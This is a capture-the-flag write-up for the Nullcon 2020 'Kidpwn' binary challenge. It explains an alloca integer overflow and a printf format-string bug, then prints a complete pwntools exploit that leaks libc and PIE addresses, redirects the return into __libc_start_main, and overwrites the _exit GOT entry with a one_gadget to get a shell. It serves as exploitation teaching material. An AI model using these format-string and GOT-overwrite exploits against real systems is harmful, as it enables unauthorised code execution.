[Pwn] Nullcon 2020 - Kidpwn

Description:
437 Points

nc pwn2.ctf.nullcon.net 5003

challenge

f115365f85409565c4bdf94690434aae

libc-2.23.so

8c0d248ea33e6ef17b759fa5d81dda9e

TLDR

  • Leak libc and pie addresses with format string
  • Overflow the last byte of ret addr and jump to another position in _libc_main to return to main
  • Change exit got with one gadget using format string

Binary security and architecture

1
2
3
4
5
6
7
$ checksec challenge
[*] '/ctf/work/pwn/kidpwn/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

No canary protection in this executable, relro is partial meaning we can overwrite the global offset table also we have another issue PIE is enabled.

1
2
$ file challenge
challenge: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=286d2ceaa8091a1b44bb0dcaf214d76c1d40bfee, stripped

Libc is a shared library (dynamically linked) and the architecture is x86-64.

Static analysis

Analysing the main we know we have a very simple program, it reads an integer from the input and creates a buffer in the stack using alloca, then it reads input from the stdin and stores it in this new created buffer then it prints it using printf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *v4; // rsp
char s; // [rsp+0h] [rbp-70h]
char v6; // [rsp+Fh] [rbp-61h]
unsigned __int16 v7; // [rsp+6Eh] [rbp-2h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
if ( unk_20105C )
{
v7 = 200;
}
else
{
if ( !fgets(&s, 100, stdin) )
return 0xFFFFFFFFLL;
v7 = atoi(&s);
}
v4 = alloca(16 * (((__int16)v7 + 30LL) / 0x10uLL));
qword_201060 = (const char *)(16 * ((unsigned __int64)&v6 >> 4));
read(0, (void *)(16 * ((unsigned __int64)&v6 >> 4)), v7);
printf(qword_201060);
if ( unk_20105C )
{
read(0, &s, 0LL);
printf("JK, you lose!");
_exit(0);
}
++unk_20105C;
return 0LL;
}

We can achieve a buffer overflow by causing an integer overflow in the operations inside alloca, by sending a negative number will cause alloca to create a smaller buffer in the stack than the inputted string:

1
2
3
4
5
6
7
8
else {
if ( !fgets(&s, 100, stdin) )
return 0xFFFFFFFFLL;
v7 = atoi(&s); // Negative values
}
v4 = alloca(16 * (((__int16)v7 + 30LL) / 0x10uLL)); // integer overflow in this operations causing a smaller buffer then the input that will come next
qword_201060 = (const char *)(16 * ((unsigned __int64)&v6 >> 4));
read(0, (void *)(16 * ((unsigned __int64)&v6 >> 4)), v7); // input will be bigger than the buffer

We can leak and get arbirtrary write by using a format string vulnerability in printf:

1
printf(qword_201060); // format string vulnerability

Plan

  • Leak libc and pie addresses
  • Find a way to return to main
  • Overwrite exit got address

Find a way to return to main

The most difficulty part of the challenge was to find a way to return to main, the pie is enabled so we can’t overwrite the global offset table or a global variable without leaking the PIE base address first.

My solution resolved on overflowing the last byte of the return address, in the c language after returning from the main function our program will jump into a location in __libc_start_main and execute exit with the value returned by the main function. If we modify the last byte we can prevent the execution of exit and rerun the code that the program used to call main in the beginning.

If you are used to using gdb you should have already noticed after the entry point there is a moment at _libc_start_main when you reach assembly instruction call rax the rax register contains a pointer to the begining of main.

We just need to find the right place to jump in _libc_start_main and since ASLR doesn’t affect the last 3 numbers of a libc address it’s completely fine to only overflow the last byte, after some debugging I found a byte that will work for this libc version (2.23) 0xa8:

1
r.send("  %27$lx"+'A'*0x80+'\xa8') # overwrite last byte of return address to jump to another _libc_main loc

Leaking pie and libc

This can be done with the format string vulnerability itself, the libc address will show up after we overflow the buffer, we also need to leak PIE because we need the offsets to the global offset table we can find a pie address at the 27th position of the stack:

“%lx” because we want to leak a 64 bit pointer:

1
r.send("  %27$lx"+'A'*0x80+'\xa8')

Then is just a matter of calculating the offsets(0x208a8,0x880) by using gdb:

1
2
3
4
5
6
7
8
9
output = r.recvuntil('\x7f')
LIBC = u64(output[-6:].ljust(8,'\x00'))-0x208a8 # libc leak
PIE = int(output[:14],16)-0x880 # geting pie

log.info("LIBC_BASE 0x%x"%u64(output[-6:].ljust(8,'\x00')))
log.info("LIBC_BASE 0x%x"%LIBC)
log.info("PIE 0x%x"%PIE)

ONE_GADGET = LIBC+0xf1147

Overwriting exit got address

I spent a lot of time here unnecessarily, to modify the address of exit_got we just need to modify last 1/2 bytes, instead I just modified everything spending a lot of time, while this is a good exercise is not very funny spending a lot of time figuring out a way to write a complete libc address during a competition, my solution resolved around sorting the HIGH,LOW addresses and do 3 writes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ONE_GADGET = LIBC+0xf1147


# this is the reason why you should learn about format string libraries and saves you a lot of time
WIN_LOW_0 = ONE_GADGET & 0xffff
WIN_LOW_1 = (ONE_GADGET & 0xffff0000) >> 16
WIN_HIGH = ONE_GADGET >> 32

addresses = [(WIN_LOW_0,1), (WIN_LOW_1,2), (WIN_HIGH,3)]
addresses.sort(key=lambda x: x[0])

log.info("ONE_GADGET 0x%x" % ONE_GADGET)
log.info("WIN_LOW_0 0x%x" % WIN_LOW_0)
log.info("WIN_LOW_1 0x%x" % WIN_LOW_1)
log.info("WIN_HIGH 0x%x" % WIN_HIGH)
log.info("GOT EXIT 0x%x" % (PIE+elf.got['_exit']))

getstr = {1:'%{}x%13$hn', 2:'%{}x%14$hn', 3:'%{}x%15$hn'}

s = ''
s += '%13$ln' # clears the already existing got address
s += getstr[addresses[0][1]].format(addresses[0][0])
s += getstr[addresses[1][1]].format(addresses[1][0]-addresses[0][0])
s += getstr[addresses[2][1]].format(addresses[2][0]-addresses[1][0])
s += ' '*(56-len(s))
s += p64(PIE+elf.got['_exit'])#'B'*8
s += p64(PIE+elf.got['_exit']+2)#'A'*8
s += p64(PIE+elf.got['_exit']+4)#'C'*8
s += "\n"
r.send(s)

Also a format string library could also be used but I’m very lazy in starting learning how to use one.

The full exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
host, port = "pwn2.ctf.nullcon.net", "5003"
filename = "./challenge"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.23.so')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(r,gdbscript=script)
context.terminal = ['tmux', 'new-window']
r = getConn()
if not args.REMOTE and args.GDB:
debug([0x9D8])

r.sendline('-1')

#context.log_level='debug'
r.send(" %27$lx"+'A'*0x80+'\xa8') # overwrite last byte of return address to jump to another _libc_main loc
output = r.recvuntil('\x7f')
LIBC = u64(output[-6:].ljust(8,'\x00'))-0x208a8 # libc leak
PIE = int(output[:14],16)-0x880 # geting pie

log.info("LIBC_BASE 0x%x"%u64(output[-6:].ljust(8,'\x00')))
log.info("LIBC_BASE 0x%x"%LIBC)
log.info("PIE 0x%x"%PIE)

ONE_GADGET = LIBC+0xf1147


# this is the reason why you should learn about format string libraries saves you a lot of time
WIN_LOW_0 = ONE_GADGET & 0xffff
WIN_LOW_1 = (ONE_GADGET & 0xffff0000) >> 16
WIN_HIGH = ONE_GADGET >> 32

addresses = [(WIN_LOW_0,1), (WIN_LOW_1,2), (WIN_HIGH,3)]
addresses.sort(key=lambda x: x[0])

log.info("ONE_GADGET 0x%x" % ONE_GADGET)
log.info("WIN_LOW_0 0x%x" % WIN_LOW_0)
log.info("WIN_LOW_1 0x%x" % WIN_LOW_1)
log.info("WIN_HIGH 0x%x" % WIN_HIGH)
log.info("GOT EXIT 0x%x" % (PIE+elf.got['_exit']))

getstr = {1:'%{}x%13$hn', 2:'%{}x%14$hn', 3:'%{}x%15$hn'}

s = ''
s += '%13$ln' # clears the already existing got address
s += getstr[addresses[0][1]].format(addresses[0][0])
s += getstr[addresses[1][1]].format(addresses[1][0]-addresses[0][0])
s += getstr[addresses[2][1]].format(addresses[2][0]-addresses[1][0])
s += ' '*(56-len(s))
s += p64(PIE+elf.got['_exit'])#'B'*8
s += p64(PIE+elf.got['_exit']+2)#'A'*8
s += p64(PIE+elf.got['_exit']+4)#'C'*8
s += "\n"
r.send(s)
r.interactive()
r.close()